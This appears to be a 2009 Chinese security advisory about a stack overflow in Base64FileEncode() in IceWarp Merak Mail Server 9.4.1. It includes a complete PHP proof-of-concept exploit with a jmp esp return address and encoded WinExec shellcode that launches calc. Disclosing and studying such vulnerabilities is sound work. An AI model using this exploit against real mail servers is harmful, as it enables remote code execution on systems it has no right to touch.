IceWarp Merak邮件服务器Base64FileEncode()函数栈溢出漏洞
发布日期:2009-04-27
更新日期:2009-04-28
受影响系统:Icewarp Merak Mail Server 9.4.1
描述:
BUGTRAQ ID:
34739
Merak Email Server是一个全面的办公室局域网或Internet通讯邮件解决方案。
Merak邮件服务器的api.dll库没有正确地验证对Base64FileEncode()函数所传送的第二个参数,如果远程攻击者向icewarp_apiobjectcall()函数的最后一个参数提交了超长输入的话,就可以触发栈溢出,导致执行任意代码。
<*来源:surfista
链接:
http://www.milw0rm.com/exploits/8542
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
if (php_sapi_name() <> "cgi-fcgi") {
die("Launch from the merak php console!");
}
if (!function_exists("icewarp_apiobjectcall")) {
die("You need the icewarp extension loaded!");
}
$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";
$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
"8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
"YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
"wPQ6EvgPKOksA";
$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll
$bof=str_repeat("A",0x258).
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
$eip.
$shellcode;
$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');
$source="AAAA";
$destination=$bof;
icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );
?>
建议:
厂商补丁:
Icewarp
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.icewarp.com/浏览次数:2555
严重程度:0(网友投票)